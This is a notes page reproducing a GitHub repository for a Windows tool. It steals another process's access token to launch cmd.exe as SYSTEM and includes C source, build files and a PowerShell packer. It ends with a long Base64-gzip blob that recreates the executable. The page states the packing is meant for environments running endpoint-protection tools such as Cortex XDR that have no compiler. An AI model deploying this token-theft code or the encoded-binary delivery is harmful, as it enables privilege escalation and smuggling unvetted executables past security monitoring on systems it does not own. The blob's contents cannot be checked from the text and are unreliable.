Search notes:

become-system (Tool to become System in Windows)

become-system.c is a C source file that, when compiled, can be run with elevated privileges to start a cmd.exe process as NT Authority\System.

become-system.c

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL EnableDebugPrivilege() {
    HANDLE procToken = NULL;
    LUID   luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &procToken)) return FALSE;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;

    TOKEN_PRIVILEGES tokenPriv;
    tokenPriv.PrivilegeCount = 1;
    tokenPriv.Privileges[0].Luid       = luid;
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(procToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;

    return TRUE;
}

BOOL amIElevated() {

    HANDLE hToken = NULL;
    BOOL fElevated = FALSE;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        CloseHandle(hToken);
        return FALSE;
    }

    TOKEN_ELEVATION elevation;
    DWORD cbSize = sizeof(TOKEN_ELEVATION);
    if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &cbSize)) {
        fElevated = elevation.TokenIsElevated;
    }
    else {
       printf("GetTokenInformation returned false\n");
       return FALSE;
    }

    CloseHandle(hToken);
    return fElevated;
}

HANDLE getProcessToken(DWORD pid) {
    HANDLE proc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid);

    if (proc == NULL) {
       return (HANDLE) NULL;
    }

    HANDLE procToken = NULL;

    BOOL res = OpenProcessToken(proc, MAXIMUM_ALLOWED, &procToken);

    if (!res) {
        procToken = (HANDLE) NULL;
    }

    CloseHandle(proc);
    return procToken;
}

BOOL createProcess(HANDLE token, wchar_t *exe) {

    HANDLE duplicatedToken = NULL;
    STARTUPINFOW        si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(STARTUPINFOW));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    si.cb = sizeof(STARTUPINFOW);

    if (! DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicatedToken)) {
       printf("DuplicateTokenEx failed\n");
       return FALSE;
    }

    return CreateProcessWithTokenW(duplicatedToken, LOGON_WITH_PROFILE, exe, NULL, 0, NULL, NULL, &si, &pi);
}


int main() {

    if (! amIElevated()) {
       printf("This tool must be run with elevated privileges\n");
       exit(0);
    }

    if (! EnableDebugPrivilege()) {
        printf("Could not enable SeDebugPrivilege.\n");
        exit(0);
    }

    HANDLE procSnap    = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);


    if (!Process32First(procSnap, &pe32)) {
        CloseHandle(procSnap);
        return 0;
    }

    while (Process32Next(procSnap, &pe32)) {
        int pid = pe32.th32ProcessID;

#ifdef  CHECK_PID_4
 //
 //     It doesn't make sense to open the System process
 //
        if (pid == 4) { continue }
#endif

        HANDLE proc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid);

        if (proc == NULL) {
           continue;
        }

        HANDLE procToken = getProcessToken(pid);
        if (procToken != NULL) {
            if (createProcess(procToken, L"C:\\Windows\\System32\\cmd.exe") ) {
                printf("cmd.exe with system privileges successfully created.\n");
                CloseHandle(procToken);
                break;
            }
        }
    }

    CloseHandle(procSnap);
    return 0;
}
Github repository windows-become-system, path: /become-system.c

Makefile

create-become-system.ps1: become-system.exe
	powershell -file embed-exe.ps1

become-system.exe: become-system.o
	gcc -o $@ $<
	strip --strip-all $@

become-system.o: become-system.c
	gcc -Wextra -Wall -c -o $@ $<
Github repository windows-become-system, path: /Makefile

run-in-sandbox.wsb

This .wsb file runs become-system.exe in a Windows Sandbox.
<Configuration>

  <LogonCommand>
     <Command>cmd /c "start powershell -noexit -command c:\dir\become-system.exe"</Command>
  </LogonCommand>

  <MappedFolders>
     <MappedFolder> <HostFolder>.</HostFolder> <SandboxFolder>C:\dir</SandboxFolder></MappedFolder>
  </MappedFolders>

</Configuration>
Github repository windows-become-system, path: /run-in-sandbox.wsb

embed-exe.ps1

embed-exe.ps1 is a PowerShell script that embeds the compressed content of become-system.exe in Base64 encoding in create-become-system.ps1.
#
# Converts become-system.exe into a self-contained Base64-encoded string
# and generates a script to recreate this executable.
# 

# ---------------------------------------------------------------------------------

$bytes  = [System.IO.File]::ReadAllBytes("$pwd\become-system.exe")

$mem = new-object System.IO.MemoryStream
$zip = new-object System.IO.Compression.GzipStream $mem, ([System.IO.Compression.CompressionMode]::Compress)

# Write the input bytes into the GZip stream
$zip.Write($bytes, 0, $bytes.Length)


$zip.Close()
$mem.Close()

$compressedBytes = $mem.ToArray()

$base64 = [Convert]::ToBase64String($compressedBytes) -replace '(.{80})', "`$1`n"

# ---------------------------------------------------------------------------------

$recreatorContent = @"
`$base64 = @'
$base64
'@

`$compressedBytes = [Convert]::FromBase64String( (`$base64 -replace "``n", '' ))

`$inputStream = new-object System.IO.MemoryStream(, `$compressedBytes)
`$decompressedStream = new-object System.IO.MemoryStream

`$decompressStream = new-object System.IO.Compression.GzipStream `$inputStream, ([System.IO.Compression.CompressionMode]::Decompress)

`$decompressStream.CopyTo(`$decompressedStream)

`$decompressStream.Close()
`$inputStream.Close()
`$decompressedStream.Close()

`$bytes = `$decompressedStream.ToArray()

set-content -path 'become-system.exe' -value `$bytes -encoding byte
write-host "become-system.exe recreated"
"@

set-content -path 'create-become-system.ps1' -value $recreatorContent -encoding utf8
Github repository windows-become-system, path: /embed-exe.ps1

create-become-system.ps1

create-become-system.ps1 is the script created by embed-exe.ps1.
When run, it re-creates become-system.exe.
The idea of this script is to be able to clone the github repository and create become-system.exe in environments with tools such as Cortex XDR and without C compiler.
$base64 = @'
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
